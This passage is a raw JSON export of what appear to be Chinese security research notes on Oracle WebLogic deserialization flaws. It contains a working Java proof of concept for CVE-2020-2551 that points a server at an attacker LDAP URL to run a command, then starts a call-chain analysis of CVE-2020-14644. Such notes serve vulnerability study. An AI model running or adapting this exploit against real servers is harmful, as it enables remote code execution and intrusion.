(weblogic.work)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fNnM-1682256048959&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J6w3-1682256048958&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;POC：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHaM-1682256049027&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;csfx-1682256048961&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6iux-1682256048960&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OYnR-1682256048964&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KPIw-1682256048962&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vxuj-1682256048966&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OuQA-1682256048965&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.naming.Context;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EZV7-1682256048968&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z2HX-1682256048967&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.naming.InitialContext;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MYzn-1682256048970&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0j2C-1682256048969&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Field;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PWnV-1682256048972&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ovoi-1682256048971&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.Remote;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UGGh-1682256048974&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;moao-1682256048973&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Hashtable;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lG5f-1682256048976&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jnmr-1682256048975&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;65ct-1682256048978&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8uq4-1682256048977&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import static ysoserial.payloads.util.Gadgets.createMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OVRB-1682256048980&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RAl1-1682256048979&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import static ysoserial.payloads.util.Gadgets.createMemoitizedProxy;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sw0D-1682256048982&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NceV-1682256048981&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bpxf-1682256048984&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w0jq-1682256048983&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class CVE_2020_2551 {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3RrY-1682256048986&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4WB9-1682256048985&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XXGD-1682256048988&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ztG5-1682256048987&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GuUh-1682256048990&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SUyG-1682256048989&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws Exception {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9tBa-1682256048992&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SsZy-1682256048991&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String ip = \&#34;127.0.0.1\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tdS4-1682256048994&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dsDw-1682256048993&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String port = \&#34;7001\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c1pY-1682256048996&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uauu-1682256048995&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String rmiurl = \&#34;ldap://192.168.0.103/cVLtcNoHML/Plain/Exec/eyJjbWQiOiJ0b3VjaCAvdG1wL3N1Y2Nlc3MxMjMifQ==\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DgDp-1682256048998&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZRoO-1682256048997&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String rhost = String.format(\&#34;iiop://%s:%s\&#34;, ip, port);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OWb4-1682256049000&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zo23-1682256048999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p1hZ-1682256049002&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;owIq-1682256049001&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Hashtable&lt;String, String&gt; env = new Hashtable&lt;String, String&gt;();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;70ca-1682256049004&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TNs0-1682256049003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // add wlsserver/server/lib/weblogic.jar to classpath,else will error.&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lkgU-1682256049006&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2yhs-1682256049005&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        env.put(\&#34;java.naming.factory.initial\&#34;, \&#34;weblogic.jndi.WLInitialContextFactory\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GOdW-1682256049008&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z0Z9-1682256049007&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        env.put(Context.PROVIDER_URL, rhost);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XZxR-1682256049010&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y6hL-1682256049009&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Context context = new InitialContext(env);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mwfj-1682256049012&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WOlj-1682256049011&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cSxl-1682256049014&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ht5A-1682256049013&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        jtaTransactionManager.setUserTransactionName(rmiurl);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XSgR-1682256049016&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z4Hs-1682256049015&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Remote remote = createMemoitizedProxy(createMap(\&#34;pwned\&#34;+System.nanoTime(), jtaTransactionManager), Remote.class);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oPcv-1682256049018&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t3Nr-1682256049017&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MHcw-1682256049020&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m9tU-1682256049019&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        context.bind(\&#34;test3\&#34;, remote);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JTbJ-1682256049022&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PZKb-1682256049021&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        context.lookup(\&#34;test3\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zFW9-1682256049024&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wvjg-1682256049023&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wiLn-1682256049026&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C27v-1682256049025&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5EZl-1682256049095&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6691/WEBRESOURCE9f3c517fe93187caee20ba6dd4a83d94&#34;,&#34;width&#34;:1874,&#34;height&#34;:456},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6691/WEBRESOURCE9f3c517fe93187caee20ba6dd4a83d94&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1874,&#34;height&#34;:456},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YhDp-1682256049096&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6692/WEBRESOURCEe1669fed661587dce6943d0686ef5ed1&#34;,&#34;width&#34;:1384,&#34;height&#34;:332},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6692/WEBRESOURCEe1669fed661587dce6943d0686ef5ed1&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1384,&#34;height&#34;:332},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lL5k-1682256034750&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tDIF-1682256034748&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EPae-1682255913164&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SZPT-1682255913162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2020-14644&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hm5W-1682256025032&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;J38n-1682256025775&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DKPu-1682256025033&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 10.3.6.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C1gu-1682256025770&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;J38n-1682256025775&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w0ds-1682256025769&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.1.3.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TLDa-1682256025772&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;J38n-1682256025775&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f0vm-1682256025771&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.2.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9SgX-1682256025774&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;J38n-1682256025775&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fAdm-1682256025773&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic 12.2.1.4.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EUkQ-1682255943113&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WUSI-1682255942853&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QW50-1682255942856&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ByEv-1682255942855&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;主要问题出现在com.tangosol.internal.util.invoke.RemoteConstructor上：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dcPI-1682255942859&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lmYq-1682255942858&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;26d0-1682255942857&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RemoteConstructor.readResolve -&gt; RemoteConstructor.newInstance -&gt; RemotableSupport.realize&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aK0m-1682255942861&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UYaS-1682255942860&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RemotableSupport.realize中存在两个方法调用：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5LWE-1682255943117&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6649/WEBRESOURCE49f77600c63e0166277138eda0b1d535&#34;,&#34;width&#34;:1860,&#34;height&#34;:900},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6649/WEBRESOURCE49f77600c63e0166277138eda0b1d535&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1860,&#34;height&#34;:900},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ukcX-1682255942864&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z9FP-1682255942863&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;分别为重载后的defineClass方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W7An-1682255943118&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6650/WEBRESOURCE9e95407d1300f1feb3c0587dabab3346&#34;,&#34;width&#34;:1434,&#34;height&#34;:448},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6650/WEBRESOURCE9e95407d1300f1feb3c0587dabab3346&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1434,&#34;height&#34;:448},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hkYZ-1682255943119&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6651/WEBRESOURCE081545ca079555ba4f0a1fa32dd45f9d&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6651/WEBRESOURCE081545ca079555ba4f0a1fa32dd45f9d&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0idZ-1682255942868&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Lk90-1682255942867&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;与实例化方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wEvf-1682255943120&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6652/WEBRESOURCE27505c7a9dc8efd4250bfe662c12ebab&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6652/WEBRESOURCE27505c7a9dc8efd4250bfe662c12ebab&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SVdk-1682255942871&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ahbo-1682255942870&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;defineClass的值来自于definition&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HXY6-1682255943121&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6653/WEBRESOURCEba4f721ed1c3c9a84dd2a9784f5630d0&#34;,&#34;width&#34;:1502,&#34;height&#34;:426},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6653/WEBRESOURCEba4f721ed1c3c9a84dd2a9784f5630d0&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1502,&#34;height&#34;:426},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oDue-1682255942874&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wkea-1682255942873&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;getName()的逻辑如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H8qv-1682255942890&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fbIH-1682255942877&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iL0V-1682255942876&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public String getName() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AswL-1682255942879&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ibQk-1682255942878&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return this.getPackage() + \&#34;/\&#34; + this.getSimpleName();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fflt-1682255942881&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UU8c-1682255942880&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VVxh-1682255942883&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ccD5-1682255942882&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZuvL-1682255942885&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nEUh-1682255942884&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public String getSimpleName() 